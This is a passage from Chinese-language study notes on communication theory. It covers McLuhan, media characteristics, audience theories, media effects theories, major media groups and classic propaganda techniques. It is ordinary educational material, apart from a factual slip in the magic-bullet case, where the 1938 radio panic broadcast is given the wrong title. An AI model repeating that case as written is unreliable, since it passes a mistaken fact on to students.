媒介持久性：指它保存信息以足够时间与受众接触的特性。\n\n4． 受众参与媒介的程度：受众与媒介的互动关系如何\n\n媒介分析分为微观分析与宏观分析\n\n媒介的微观分析主要分析媒介本体的特征、效用等，着重分析个体媒介的构成、要素、手段等具体问题。宏观分析关注媒介在社会政治、经济和文化背景中的角色和作用，媒介要素与其他社会要素之间的互动以及由此产生的新的媒介现象与形态及其价值\n\n微观分析是媒介本体研究，而宏观分析则是媒介的社会价值，经济价值及文化价值的研究，简言之，宏观分析就是价值研究\n\n麦克卢汉\n\n加拿大传播学家 ，于五、六十年代出版一系列著作《媒介通论：人的延伸》、《媒介即讯息》等。是六七十年代国际传播学界最知名、最具争议的学者，被称为“现代媒介分析的根”。其理论独特，给人启发。\n\n他将媒介的概念扩大，不仅是大众传播和人际传播中的媒介，而且包括了人际互动的所有介质。另外他将媒介置于一个广阔的社会、历史背景中研究，因此其媒介分析有了高度和深度。缺陷：对冷热媒介分类牵强；忽视媒介具体内容，分析客观性、科学性、实证性不足。\n\n媒介是人体的延伸\n\n媒介具有有机体的性质，是人体的延伸，道路是脚的延伸，衣服是皮肤的延伸，广播电视则是眼耳手的延伸。一切媒介都是人的肢体部分向公共领域的延伸。人体任何一部分的延伸都会影响以整个心灵与社会\n\n媒介即讯息\n\n传播媒介真正传递的是媒介的特性，传播媒介本身就是传播内容，内容也是一种媒介。例如，报纸的内容是文字表达，书籍的内容是言语，电影的内容是小说。人们在使用媒介时，特别注重内容，反而忽略了形式。他在《媒介即讯息》一书中强调媒介传递的真正讯息是它本身对受众的刺激，而不是它所传递的内容。一种新的传播媒介一旦出现，这种媒介本身，而不是它所传递的具体内容就会给人类社会带来某种信息，引起社会变革\n\n冷媒介与热媒介\n\n热媒介是能够“高清晰度”延伸人体某感官的媒介，高清晰度就是指媒介所提供的讯息充分、完善，需要受众参与其中的程度低，如照片、广播、电影。冷媒介刚好相反，如漫画、电话、电视。但此类划分十分牵强\n\n地球村\n\n人类社会早期的口头传播时代，人们交流只能面对面地进行，范围很窄，因而处于“部落化”阶段，印刷媒介出现后，社会交流扩大范围，个体可以单独脱离开“部落”，人类社会进入了“脱离部落化”阶段，电子媒介出现以后，人类的时空距离又一次缩短，地球变成一个村庄，人类社会进入“重新部落化”阶段，地球村的出现和发展给人类社会带来极大的影响；人与人、社会与社会、国家与国家的相互依赖性及关系的密切程度大大增强，经济、社会、文化等社会结构要素的形态发生了前所未有的变化\n\n第二节 媒介的本体特征\n\n报纸、广播、电视的本体特征\n\n报纸\n\n报纸是以刊载新闻和新闻评论为主的公开发行的定期出版物，一般以散页形式连续出现。是最早出现的新闻媒介\n\n特点：是视觉媒介，通过印刷文字传递信息。是报纸最大的特点，区别于其他媒介的最明显特征；保存性强；选择性强；适合传达深度信息；时效性差\n\n主要借文字传播，要求受众有文化，限制受众范围，感染力比广播、电视弱\n\n传播手段：一般以平面空间的形式展示给读者，手段包括版面、图片、文字\n\n生产过程：采写、编辑、排印、发行、还要注意受众反馈。\n\n杂志\n\n基本同于报纸。只是专业化程度较高，目标对象更为准确，保存周期更长，重复阅读率更高。可以彩色印刷，形象、逼真。\n\n广播\n\n用电子技术装备起来的现代化新闻传播媒介，通过无线或有线方式向广大地区传送声音和图像\n\n特点：听觉媒介；时效性强；影响面广；选择性弱；保存性弱\n\n传播手段：声音是唯一手段，包括语言、音响、音乐\n\n电视\n\n最大众化，最具传播效力的传播媒介之一，借用电子技术传输图像和声音的现代化传播媒介，通过光电转换和电子显示屏技术将声像传到各地，是现代电子信息技术高度发展的产物。\n\n特点：\n\n视听合一，是电视与其他媒介最主要区别，电视的优势所在，运动的画面适应了人的生理特性；\n\n有很强的形象感、现场感和过程感，因此具有说服力和感染力\n\n时效性强，这是电子媒介共同特点\n\n保存性、选择性差\n\n传播手段：多种手段综合，以运动画面为主\n\n传播途径的比较和选择\n\n或然律公式：选择或然律＝报偿保证／费力程度。其内容包括：\n\n1． 传播方式的易得程度\n\n2． 传播方式的吸引力\n\n3． 传播内容的感染力\n\n4． 选择者的目的差异\n\n5． 选择者的传播习惯\n\n6． 媒介的传播技能\n\n由施拉姆提出，报偿保证指传播内容满足选择者的需要的程度，费力程度指得到这则内容和使用传播途径的难易状况。有助于实现媒介具体目标，要使或然律提高必须关注受众和选择者的需要和习惯。\n\n第三节 媒介价值与媒介文化\n\n媒介价值\n\n就是媒介所具有的满足社会需要的素质的总和，包括社会价值、经济价值、文化价值等（社会功能和媒介现实），是媒介分析的宏观内容\n\n媒介现实\n\n指媒介日益扩大而不是缩小我们的见闻，但媒介带给我们的是经它转述的世界，而不是现实本身。\n\n研究传播媒介和文化关系的三种理论（媒介文化价值研究）\n\n1．传播媒介是文化表述的工具。传播媒介反映文化及其变迁，传播媒介的符号表述的内容与形式是对一个文化的形式和内容的反映，因此，我们通过系统地分析传播媒介的内容，就可以了解它所代表的处于特定社会和历史阶段的文化；\n\n2．传播媒介是文化传送的工具。传播媒介影响文化及其变迁，传播媒介将文化观念和行为传送出去，影响人和社会；\n\n3．传播是社会文化仪式和文化的生存与再生。传播媒介容纳文化及其变迁，传播活动是人们交往的一种仪式，其作用在于处理和创作符号，定义一个人们活动的空间和人们在这一空间扮演的角色，使得人们参与这一符号的活动，并在此活动中确认社会的关系与秩序，确认与其他人共享的观念和信念\n\n第九章 受众论\n\n第一节 受众\n\n受众及其特征\n\n是对大众媒介信息接受者的总称，具有多、杂（多样）、散、匿的特点。\n\n大众传播受众本身的特征为：\n\n一、 由有共同经验的个人组成，但表现特征不同；\n\n二、 受人际传播与社会联系的影响；按现实和自身习惯有意识的选择信息，\n\n三、 成分复杂，不断变化\n\n四、 个人心理结构差异造成对信息的选择、认知均有不同\n\n五、 传者对受众了解间接而笼统。\n\n第二节 受众主体\n\n受众的动机\n\n获取信息，认识外部世界；\n\n娱乐消遣，满足精神、情感需求；\n\n获取知识\n\n此外还有满足特殊心理需要，增加共同语言，寻找认同感等\n\n传受关系\n\n传者的讯息传递与受众的讯息接受形成互动。传者只有提供符合受众实际需要或趣味的信息才会被受众接收，取得好的效果。受众对媒介的使用和对传播内容的接受是一个积极主动的过程，受众一方面具有自主性和选择性，另一方面则受到主客观因素的制约，如所处社会环境、受众接触媒介程度等。\n\n受众的选择行为\n\n受众有选择地接触一种媒介，且往往只选择那些能加强自己信念的信息，而拒绝那些与自己固有观点相抵触的东西，人们通过大众媒介一般是加强自己已有的观点，而不是改变其观念。\n\n受众的选择行为体现在自由地选择使用何种媒介及接受何种信息。\n\n选择性因素是传播过程中的主要干扰，信息争议越大，其干扰也越大，反之则相反\n\n受众的选择性心理\n\n受众在选择过程中所表现出来的思维方式\n\n选择性注意\n\n是指受众由认识结构、社会类型和社会联系所产生的，对媒介内容注意力的方式\n\n传播者要想使自己的传播内容受到注意，可以改变传播形式，强化和更新传播内容，具体可以把握这些原则：\n\n信息具有显著性和对比性、易得性；\n\n形式灵活多变；\n\n要考虑到受众对媒介的接触习惯不同\n\n选择性理解\n\n指具有不同心理特征、文化倾向和社会成员关系的受众会以不同的方式解释媒介内容\n\n选择性记忆\n\n只记忆对自己有利，符合自己意见或感兴趣的内容\n\n受众的逆反心理\n\n是受众对外来的威胁到自己态度体系的信息产生的一种抑制心理\n\n受众逆反心理的表现形式\n\n对该信息不予理睬；\n\n驳斥外来的论点；\n\n歪曲或从相反方面理解外来信息的内容；\n\n贬损信息来源；\n\n寻求社会支持自己的态度体系\n\n影响受众选择的因素\n\n社会文化因素：社会环境、社会地位、文化背景等；\n\n心理因素，一方面是受众因个体差异而产生的选择性心理和逆反心理；另一方面因为受众生活在不同团体中，需要同环境保持一致，得到认可与接纳，以采取与大多数人相一致的心理或行为。所以，受众在接受媒介的传播内容时还要受到从众心理的影响\n\n从众\n\n就是受众在传播活动中受到群体压力而在行为和观点上发生与群体中大多数人相一致的变化\n\n形成从众心理的根本原因是群体压力，群体意见对个体所形成的压力过程为四个阶段，合理辩论——好言相劝——围攻抨击——隔离排挤\n\n利用从众心理，为传播目的服务的方法\n\n控制群体规模，在一个小组内向为数不多的人进行有针对性的传播比向大多数进行的松散性的传播效果好；\n\n增加群体合力，群体合力越大，成员越容易产生从众心理和行为；\n\n提高群体信息的权威性；\n\n考虑到个体心理因素的作用\n\n受众权利\n\n通过传播获知信息或知情权；\n\n使用传媒进行交流的权利；\n\n受众享有讨论的权利；\n\n受众在受到新闻侵害时有要求补偿的权利\n\n第三节 受众价值\n\n有关受众的五种主要理论\n\n一、个人差异论\n\n以“S-R刺激——反应”理论为基础，霍夫兰首先提出，德弗勒作修正后形成。认为，媒介讯息包含着特定的刺激，这些刺激与受者的个性特征有特定的相互作用，由于每个人在需要、信念、价值观、态度上不同的认知结构，世界上没有完全同样和一成不变的传播对象。相同的大众传播内容在受者之间之所以产生不同效果，是由于受众的个人条件、社会关系不同，而其中个人差异最为重要。个人差异论最大的发现在于“选择性注意与选择性理解”。\n\n二、社会分化论\n\n是对个人差异论的修正，也叫社会类型论或社会范畴论。前者从心理学角度出发，后者则从社会学角度出发，强调个人的社会群体差异，由赖利夫妇首先提出。受众生活在不同的社会群体中，在行动时必然受到群体规范和压力的影响，由于社会分工产生的不同行为方式，不同社会类型的成员趋向于选择不同的媒介内容，并以和其他社会类型成员不同的方式来解释同一信息，并采取不同的行动。对个人产生作用的群体是基本群体和参照群体。基本群体是长期持续的、亲密的群体，如家庭，参照群体是个人在其帮助下可以确定自己态度、价值观和行为的群体。大众媒介应考虑到不同群体对信息接收的差异。\n\n三、社会关系论\n\n强调群体关系在传播活动中的作用，认为受众所属团体的压力对于受众接受信息时的态度及行为产生很大影响，媒介通常难以改变人们固有的信念。最早来源于拉扎斯费尔德的伊利县调查。受众作为个体均有不同的生活圈，受其约束影响，很多受众接受的信息都是经过此生活圈解释和过滤了的，人们接受那些与本团体意向相符的信息，并以本类型人典型的方式来接受之。当有信息攻击该团体观点时，成员就会排斥传媒，或者削弱甚至改变其传播效果。传播媒介必须认识到，受众不会接受媒介的操纵。\n\n四、文化规范论\n\n与议程设置相关，认为传播内容可以促使对象发生改变。如大众传播经常报道或强调某事物，就会在受众中造成某事物是社会文化规范的印象，从而促使受众去模仿，结果就形成了间接影响。受众可以从传媒中获得新见解以改变其原有看法，媒介为社会树立了文化规范。文化规范论肯定了大众传播对受众所造成的影响，并认为如果此影响增强，会造成社会“一体化”，指社会所有的个人、集团乃至国家都从大众传播中获取不同的信息，从而相互了解他人的生活条件与观点。\n\n以上四种理论概括起来就是：每个受众对传播的内容反应不相同，但具有共同经验和相同社会关系的受传者有相似的反应，人们必须受到整个传播经验的影响。\n\n五、社会参与论\n\n美国学者巴伦最早提出。大众传播媒介应该尊重受众、提高传播效果，在形式上尽可能地考虑到受众这种积极参与的愿望和权利。\n\n综上所述，受众研究的一般性结论\n\n大众传播中的受众是在不断变化中的，没有一成不变的受众，即使是针对某种传播媒介而言，也是如此。\n\n大众传播中的受众是各不相同的，但那些有些共同经历、受同样社会关系影响的受众对相同传播内容的反应类似。他们选择性地接受、解释和记忆大体相同的内容。一定社会关系中的受众的相互影响将会引起一系列思想、观念、态度、行为的变化——社会分化论和社会关系论；\n\n大众媒介的传播内容会对受众造成一定影响，会加强现存的社会文化规范并创造一些新的社会风气，还有可能促使社会“一体化”——文化规范论；\n\n受众不是被动的信息接受者，而是积极的大众传播的参与者。受众希望能够通过大众传播媒介发表自己的见解和主张，希望能与传播者共同分享信息——社会参与论\n\n受众价值开发的重要性\n\n首先，受众在传播活动中处于主体地位，受众决定着传播活动的基本方向，离开受众，传者研究、效果研究、媒介研究均无法立足；\n\n其次，经过对受众详细的分析研究，才能生产出特点鲜明，针对性强的节目，很容易赢得受众；\n\n再次，受众对节目的选择性不断增强，节目的竞争加剧，节目的竞争归根到底是受众的竞争；\n\n因此，要进行严肃认真的受众研究工作\n\n受众价值开发的内容和方法\n\n内容：研究心理因素和社会因素对受众接触媒介、接受信息的影响、制约作用和传播效果之间的关系；研究受众接受信息的变化规律；研究受众的结构分层。\n\n方法：传播学的研究方法：实地调查、内容分析、控制试验、个案研究等方法。\n\n第十章 传播效果论\n\n第一节 传播效果的认识历程\n\n传播效果\n\n是指传播者发出的信息经媒介传至受众而引起受众思想观念、行为方式等的变化，以及对社会及文化造成的影响。\n\n枪弹论\n\n又称皮下注射论，S-R论，由德弗勒等人提出，盛行于20世纪20～40年代。二战法西斯宣传与“火星人事件”。将传播效果绝对化，将传媒作用不分时间、地点、对象、环境地夸大化。\n\n枪弹论认为，受众像射击场的靶子，无法抗拒子弹的射击。受众消极被动的等待和接受媒介传播的信息。大众传媒的力量不可抗拒，受众对大众传媒的信息产生大致相同的反应。“刺激—反映”机制和媒介效力强大的信念是该理论形成的基础。\n\n理论不足：忽视了时空、环境等因素对传播效果的影响，忽视了受众的个体差异，以及在选择和接受信息时的能动性，忽视了受众所处群体的规范和压力作用，忽视了媒介本体特征对效果差异的作用\n\n案例：1938年美国哥伦比亚公司播放《星球大战》广播剧，引起全国恐慌，以为外星人真的入侵地球。\n\n有限效果论\n\n也叫“最低效果法则”，是对枪弹论的否定。认为传播活动是传受互动的过程，受众是具有不同特点的个体，不是应声倒下的靶子。媒介不是影响受众的直接和唯一因素。大众媒介的效果由于媒介性质及其在社会中的地位而受影响。虽然效果有限，但尚有作用，拉扎斯费尔德和默顿提出，大众传播媒介能提高社会声望地位，能在一定程度上增强社会规范并可作为社会的麻醉剂。只有当一种观点垄断了媒介，并组织面对面的交流来辅助媒介宣传，媒介才可能起到重要作用。克拉珀在《大众传播的效果》一书中，总结为：大众传播通常并不是对受众产生影响的充要条件，它经常强化或弱化受众固有态度，但很少能从根本上改变之，媒介宣传效果的实现必须经过中介因素，这些因素包括个人心理及选择倾向；所处群体及规范；人际影响和社会传播媒介等，但中介因素难以控制，所以预期效果不可能完全实现。\n\n有限效果论包括个体差异论、社会分化论、社会关系论、两级／多级传播论，中介论、舆论领袖论等。著名研究包括：霍夫兰陆军研究、拉扎斯菲尔德的伊利县总统竞选调查等。\n\n适度效果论\n\n出现于20世纪60～70年代，基于如下假设：\n\n1． 认为有限效果贬低了大众传播效果，\n\n2． 以往研究注重大众传播对于态度和意见的影响，如果探求其他方面，也许就会发现大众传播具有更大效果。\n\n3． 以往研究只着眼大众传播对受众的影响，忽视了受众对大众传播的作用。\n\n4． 摆脱了“传者中心论”的局限，开始以受众为中心进行研究，并着力研究长期效果。\n\n适度效果论包括：信息寻求（创新与扩散）理论、使用与满足理论、议程设置理论、教养理论等\n\n使用与满足理论\n\n卡茨1974年提出的假设，认为受众具有社会和心理根源的需求，引起对大众媒介或其它信源的期望，导致媒介披露的不同形式，最后导致需求的满足以及其他无意的效果。罗森格伦还提出另一种使用与满足理论。施拉姆认为，这还远远不是一种理论。\n\n“讯息依赖”模式\n\n该模式不同于“使用与满足”模式，它把传播效果同社会文化和群体规范联系起来，把基点放在宏观的社会文化、规范和价值上面，它的传播效果表现在讯息传播日积月累，潜移默化地作用于受传者，使其有意无意地接受着讯息，并按社会文化规范作出解释：\n\n使用与满足——劝服性讯息->改变受众心理结构->导致态度行为改变\n\n讯息依赖——劝服性讯息->社会文化形成的过程->接受讯息，按社会准则作出解释->导致受众态度行为改变\n\n总之，传播效果的发挥取决于媒介、社会与受众的相互作用，当社会处于剧变时，大众需求更多更快的讯息，依赖性便增加\n\n创新与扩散理论（采用扩散理论或信息寻求理论）\n\n由罗杰斯于60年代提出，研究媒介如何劝服人们接受新观念、新事物、新产品，侧重于大众传播对社会和文化的影响。一个创新扩散的过程至少包括四个环节：知晓：个体知道有某种创新事物存在；劝服：个人对该事物形成赞成或反对态度；决定：进一步思考、讨论和寻求有关情报，决定采用或拒绝；确定：寻求补充情报，如矛盾则可能改变原决定。\n\n结论：大众传播在过程早期比后期更有影响；传播的过程，通常呈S曲线，采用开始时很慢，扩大至一半时加快，当接近最大饱和点时又慢下来。\n\n议程设置理论\n\n最早由麦库姆斯与肖提出。一、各种媒介是报道新闻必不可少的把关人；二、人们需要由把关人帮助决定那些超出他们有限感受的哪些事件和问题是值得他们关注的。\n\n该理论认为，大众传媒往往不能决定人们对某一事件或意见的具体看法，但可以通过供给信息和安排相关议题来有效地左右人们关注某些事实和议论的顺序。大众传媒对事物和意见的强调程度与受众的重视程度成正比。\n\n教养理论\n\n伯格纳提出。现代社会，大众传播提示的“象征性现实”对人们认识和理解现实世界发挥着巨大的影响，由于大众传媒的某些倾向性本能，人们在以上中描绘的主观现实与实际存在的客观现实之间正在出现很大的偏离。同时，这种影响不是短期，而是一个长期的、潜移默化的“培养”过程，它在不知不觉中制约人们的现实观。\n\n另一方面，社会要作为一个统一的整体存在和发展下去，就需要社会成员对该社会有一种“共识”，只有如此，社会生活才能实现协调。提供这种共识是社会传播的一项重要任务。大众传播通过象征性事物的选择、加工、记录和传达活动，向人们提供关于外部世界及其变化的信息，用以作为社会成员认识、判断和行动的基础\n\n电视暴力的效果\n\n属于适度效果的相关研究范畴，利用了教养理论和社会学习模式。指电视中呈现的暴力内容对受众的影响程度研究。有三种学说。净化作用假说认为电视中的暴力内容替代性的表达了受众的暴力倾向，可以抵制实际暴力行为发生。模仿假说认为受众从电视中模仿暴力行为并在现实中实施。免除抑制假说认为电视暴力降低受众对暴力行为的抑制，促使实际发生。如果最后一种假说成立，则电视起到了宣扬一种普遍规范的作用，使人们认为暴力是人际关系中可以被接受的方式。\n\n信息沟和知识沟理论\n\n属于适度效果论的相关研究范畴。“信息沟”由卡茨曼提出。认为：\n\n新传播技术的采用带来整个社会的信息量的增大，这对每一个社会成员来说都是如此；\n\n新传播技术的采用所带来的利益并非对所有社会成员都是均等的；\n\n信息富裕阶层比其他人更容易拥有信息优势；\n\n新媒介技术层出不穷，更新换代周期越来越短，其趋势更可能是旧的信息沟还没有填平，新的信息沟又出现。\n\n知识沟理论认为：\n\n大众传播的信息传达活动无论对社会经济地位高者还是社会经济地位低者都会带来知识量增加，但由于前者获得信息和知识的速度大大快于后者，随着时间的推移，最终结果是两者之间的知识鸿沟不断变宽，差距不断扩大。\n\n造成知识沟扩大的因素有：接触媒介和学习知识的经济条件；传播技能上的差异；社交范围的差异；已有知识储存量的差异；信息的选择性接触、理解和记忆的因素；大众传媒的性质。\n\n这一理论应用于新媒介的普及过程；地区开发和社会发展研究。\n\n强大效果论不是枪弹论的恢复\n\n出现于20世纪70年代以后，是在适度效果论基础上发展起来的。与早期的媒介威力论不相同，它从受众出发探讨社会间接的、潜在的、长期的影响，同时将传播过程置于整个社会政治、经济环境中进行多元化的宏观分析。认为根据宣传理论的原则谨慎筹划制作节目，大众传播就能发挥强大效果。最具代表的是“沉默的螺旋”理论。\n\n案例：短片《一个醉鬼的历史》\n\n如何使大众传播发挥强大影响\n\n在一段时间内重复的讯息比单一讯息有效；\n\n对受众的针对性要强；\n\n运动目标明确，制作的讯息必须联系到这些目标；\n\n传播理论的有关观点在传播实践中加以运用\n\n其他效果研究及相关研究\n\n麦克卢汉媒介决定论\n\n他认为传播媒介最重要的效果在于影响了我们理解与思考的习惯。即不同的媒介会调动不同的人类感官，引起不同的思考模式，因而得到不同的传播效果。他提出了感官比例与感官平衡的概念。总之他认为媒介重要效果来自它的形式而不是内容。\n\n第三者效果\n\n由戴维森提出，假设人们倾向于夸大大众媒介消息对其他人的影响。基本思想是：特定的消息“对你我这样的人没什么关系，但是对一般读者可能受到很大影响。”这种假设可以分两部分，一个与感受有关，认为大众传播的消息对其他人会比对自己有更大的效果；一个与效果有关，因为有了这样的感受，人们就会采取行动。这些行动组成了原来消息的效果。\n\n人们通常认为别人比自己更容易受到大众媒介影响，但这可能是错觉，低估了媒介对他们自己的效果。\n\n媒介霸权论\n\n该理论认为社会中统治阶级的意识形态成为整个社会的统治思想，大众媒介是被统治阶级控制，并帮助统治阶级控制社会其他人的工具，大众媒介内容满足了统治阶级的意识形态要求。\n\n社会学习理论\n\n在分析电视暴力效果时特别有用，其实是大众传播效果分析的普遍性原理，霍夫兰从事陆军研究时便是这样的一种理论倾向。由班杜拉提出。早期形式是强化理论，指出某种行为得到奖励而被强化时，学习过程就发生了。该理论承认人们具有认识和思考能力，可以通过观察体验获得知识，这种学习可以通过大众媒介发生。\n\n大众传播研究的未来取向\n\n长期以来，传播效果研究分为说服性传播研究和事实性讯息传播研究。研究理论的发展呈现螺旋状渐进。大众传播今后的研究要继续关注媒介的长期、潜在和间接效果。注意各种研究的整合，注意对传者和媒介的研究，加强研究工作的连续性和系统性。\n\n美国的传播效果研究出现了真实的社会建构理论和媒介构造理论，对效果的研究更加成熟。研究方向主要趋于“受众—效果”和“内容—效果”两大方向，依然以强效果论为主。\n\n大众传播对社会和文化的影响\n\n大众传播媒介通过传播有关新思想和新技术的信息，促进和拓展社会变革；\n\n大众传媒制造和传播各种文化，对文化产生影响，所以也是大众文化的工具，并能统一受众的文化，进而使所传播的文化内化，使之得以延续和发展\n\n大众传播对个人和群体的影响\n\n大众传播对人的影响主要体现在它对个人社会化的影响上，大众传媒通过信息传输强化或改变着人们的思想观念、行为方式，是社会化的重要因素；\n\n大众传播影响了公众对现实问题以及其重要性的认识\n\n第十一章 传播实践论\n\n我国传播学的现状和问题\n\n我国传播业经过多年发展，很多方面出现重大变革。自身观念取得重大变革，运营机制出现重大进步，传播效果扩大。这些进步和变革已经冲击着我国的传播学理论研究。一方面，传播业自身的实践创造了丰富的经验，为传播学实证研究提供了素材。另一方面，传播业的快速发展也需要成熟健全的传播学理论为指导。面对这种状况，我国传播学研究被动滞后。\n\n我国传播学研究的现实动力不足，难以摆脱注解现状、依附国外的困境，未能从我国的传播业中提炼出一套可供研究的理论范式。传播学研究总体显得单薄，与传播业的互动还未形成。因此，传播学研究应该重新关注学术自身，从研究者自身、研究对象、研究方法和研究结果四个方面重新定位。\n\n跨文化传播\n\n这里存在两个问题，一是国家主权问题；二是人与人，国家与国家之间信息的自由流动问题。\n\n跨文化传播的影响：\n\n1．影响了信息流动的方向、数量和结构\n\n2．影响个人的信息环境\n\n3．造成对象国电视节目的商业化、娱乐化\n\n4．影响对象国的政治、经济、社会、文化秩序\n\n整合营销传播\n\n又称全传播，是以企业的整体营销战略为依据，用整合、有效的传播方式与社会大众产生互动关系，实现企业的营销目的。\n\n基本主张：将所有传播手段，如广告、公关、直效营销、CI等结合起来，使目标消费者在多元化的信息包围中，更好的识别和接受品牌和公司。包括公司有关产品和服务的信息；有关企业理念、行为、形象的信息。\n\n这不仅强调了传播在市场营销中的作用，而且强调了传播手段多元化能强化宣传攻势。\n\n其他概念\n\n噪音 是指干扰信源与受众之间信息编译码过程的任何成分\n\n舆论 是社会公众共同的强烈持久的意见、态度和信念的总汇，它的发生发展以共同关注的问题存在为前提\n\n反馈 受传者在接受信息后作出的各种反应\n\n前馈 指在经济和社会发展中使用大众媒介时，可先通过调查研究等方式对传播对象的情况及需要进行了解，以改进传播节目的制作，增强传播效果\n\n反馈的作用 从传播者角度看，反馈可以检测传播效果，传播者可以据此调整和规划目前和未来的传播行为，因此作为传播者必须增强把握信息反馈的自觉性；\n\n从受众角度看，反馈是受众意见、需要、态度等信息的流通方式，受众可以据此更积极主动地介入传播过程中，主动搜集、使用信息，因此，作为受众也必须增强信息反馈的主动性\n\n社会认同模式对于群体研究的重要理论模式。认为在社会中，个人从其认同并归属的群体中获得一种社会认同感，这种认同感会在特定环境中起作用，个人的言行会试图与其所属的群体规范一致。社会认同模式有助于了解舆论如何形成，以及大众传播媒介在舆论形成过程中所扮演的重要角色\n\n人情味公式 主要是指传播内容中“每一百个词中的对话性的字数”，如果对话性字数多，则人情味指数高，就不沉闷，比较有趣味，有吸引力\n\n媒介帝国主义 是指少数西方发达国家凭借自己的经济、技术实力，按照自己的意愿，利用自己的通讯社和其他媒介大量向发展中国家进行宣传，以此进行思想渗透和文化侵略\n\n西方传媒业集团的特点\n\n跨行业多种经营； 跨地区全方位发展； 由家庭式管理到股份制管理；新闻出版集约化集团化管理\n\n媒介经营的五个层次\n\n广告经营； 传媒生产链条中某一环节的经营（如路透的经济信息、新华社的图片业务）；\n\n传媒相关产业（如林业、纸业、印刷业）； 无形资产经营（如财富论坛）；\n\n资本运作\n\n时代华纳\n\n1989年合并，目前世界上最大的媒介传播集团之一。跨国跨媒介跨行业经营。出版《时代》周刊《生活周刊》《财富》《人物》等杂志和时代生活丛书等，深入电影、广播、电视、投资和制造业等。是美国最大的杂志出版商，拥有世界最大的音像公司，经营机构遍及世界各地。\n\nBBC\n\n英国广播公司，1922年成立，1927年国有化，由国家委托公司特许经营，是著名的跨媒介跨国广播电视集团，在国内外拥有多个广播和电视频道。拥有全球最多的听众。它依靠英语节目对许多国家和地区的受众产生深远影响。\n\n美国之音\n\n美国政府最主要的官方广播宣传机构，1942年成立，隶属美国新闻总署。目前使用几十种语言对世界各国广播，主要是新闻节目。该台台长由总统直接任命，经费全部来自政府，受政府严密控制。是美国对外宣传美国价值观和意识形态的主要工具。\n\nCNN\n\n美国有线电视网，1980年成立，世界上第一家全天候24小时连续播出新闻的电视台。在美国约有7000万订户，在世界多个国家开展业务，派驻记者等。既有对内广播又有全球广播。影响很大\n\n宣传分析\n\n宣传分析始于两次世界大战间，现代传播学理论中很多领域都由早期宣传分析发展而来，特别是“劝服与态度改变”的研究和“传播效果分析”。\n\n拉斯维尔的《世界大战中的宣传技巧》主要研究一战中的宣传，是系统地进行宣传分析的开端。很多学者试图给宣传和说服以明确定义，但事实上二者并无明显区别。一种比较典型的说法是：只有当行为对信源而不是对受众有益时，这种行为才被称为宣传。\n\n早期的宣传分析中认为宣传包括商业广告、政治宣传和公共关系宣传等。此时期典型的宣传活动是一战时两大阵营的宣传。拉斯维尔认为此类宣传的主要目的有四点：激起对敌仇恨；加强同盟关系；争取中立者；瓦解敌人意志。\n\n后来的宣传分析中总结了七种宣传策略：\n\n1．辱骂法 给予某观点一个不好的论断，使受众轻易反对该观点。不常用于广告，政治宣传中较普遍。\n\n案例：联合水果公司案例\n\n2．光辉泛化法 将宣传对象与褒扬词语联系在一起，借好事物的光，使受众轻易接受该对象。使用普遍\n\n案例：商品品牌，如超级壳牌，神奇面包等\n\n3．转移法 将权威、约束力或某事物的威信转移到其他事物上，使后者被接受。目的是将一种观念、产品或事业与人们赞赏的东西联系起来。\n\n案例：1986年自由女神像百年庆典，很多产品都与自由女神像联系在一起\n\n4．证词法 要某些令人敬畏或使人讨厌的人说出特定概念、节目或产品，或说人的好话或坏话。在广告和政治宣传中经常使用\n\n5． 平民百姓法 信源向受众展示其宣传内容与“人民的”“公众的”想法一致，以求受众接受。商业广告和政治宣传中常见。\n\n案例：克林顿竞选时，努力塑造自己“只是普通人”的形象\n\n6．洗牌作弊法 利用或真或假，清晰或模糊的多种陈述方法，对一个观念、产品做尽可能好或坏的说明。这是把关人概念的雏形。\n\n案例：引用电影评论的电影广告，引语都经过小心选择，只用最有利的好听话。\n\n7． 乐队花车法 促使受众尽可能的参与到宣传内容中来，企图说服属于某团体中的成员接受某观点，体现了群体力量在传播中的作用。案例：战时对某些士兵的英勇作战事迹的夸大宣传鼓舞了军队士气\n\n以上7种策略被认为是对“劝服与态度改变”研究所作的早期探索。对于宣传效果的研究也取得了不少成果，其中有关“只说一面或两面都说的诉求方式”，“信源特征”，“群体压力和从众心理”等影响宣传效果的因素得到了很大关注。同时还研究了受众特点，所处环境因素对于宣传效果的影响，但并未形成系统的理论。此后的“枪弹论”源于一战后的宣传分析。\n\n大众传播与认知一致\n\n大众传播分析关注个人如何处理不一致信念，传播者通常表现出想要改变受众态度的动机。这就是态度改变——是能使我们减轻或消灭信念不一致所带来的心理压力的方式。大众传播中的认知一致研究，可以认为是从心理学角度对“说服与态度改变研究、传播效果研究与受众研究”的基础理论铺垫。对于认知一致的研究有四种典型理论。\n\n海德平衡论：\n\n海德最早提出一致理论，他关注个人在认知结构中对关联事物形成态度时的方式。他假设“不平衡的状态产生紧张和恢复平衡的力量”，并认为平衡状态是“被感知的个体和所感觉的情绪无压力的共存”。海德通过建立两个人和一个客观实体间的相互关系模型，来分析平衡问题。认为平衡的状态是稳定的，不受外界影响，而不平衡状态是不稳定的并产生紧张心理，这包括一个态度改变和抗拒改变的模式。不平衡状态容易向平衡状态改变，平衡状态则抵制改变。\n\n纽科姆的均衡模式（对称理论）\n\n根据海德平衡论模式建立起来，主要用于人际传播。\n\n当A向B讲述X时，\n\nA与B 好，对X的看法相同，均衡；\n\nA与B不好，对X的看法不同，均衡；\n\nA与B好，对X的看法不同，不均衡；\n\nA与B不好，对X的看法相同，不均衡\n\n当A与B处于不均衡状态时，X为 A与B所关注，并对于一方有意义时，强烈倾向X的一方会促使另一方改变态度，双方趋于一致，由此而言，人际传播过程是双方关系逐步协调的过程，伴随而来的是和谐现实的人际关系的建立。\n\n奥斯古德调和论：\n\n是海德平衡论的特殊模式，针对人们对信源及对信源主张的客体的态度，与海德平衡论相比，该模式能预测态度改变的方向和程度。在该理论模型中，一个人接受信源主张，此人对信源有自己的看法，此信源的主张是针对某一客体的，而此人对于该客体也有自己的看法。这个人对于信源和客体的好恶程度决定调合或一致是否存在。就是说，当人对信源和客体态度相似，而信源对客体否定时；或是人对信源和客体态度不同，而信源对客体肯定时，不调和会存在\n\n费斯廷格认知不和谐论\n\n该理论最具普遍性，最具实验价值，与受众对传播内容的选择行为有密切关系。该理论认为：单纯考虑知识的两个要素，这些要素可能是不相关的，彼此一致或不一致的。如果一个要素的对应部分总是追随另一个部分出现的话，这两个要素便处于不和谐关系中。不和谐会产生心理矛盾，促使人减轻不和谐感，达到和谐，并且能动的避免不和谐的增加。\n\n说服（劝服）与态度改变\n\n此专题是传播学研究中的重点，涉及传播内容分析、效果分析、传播者和受众分析等内容。与早期的宣传分析有密切关系。\n\n一、相关发展背景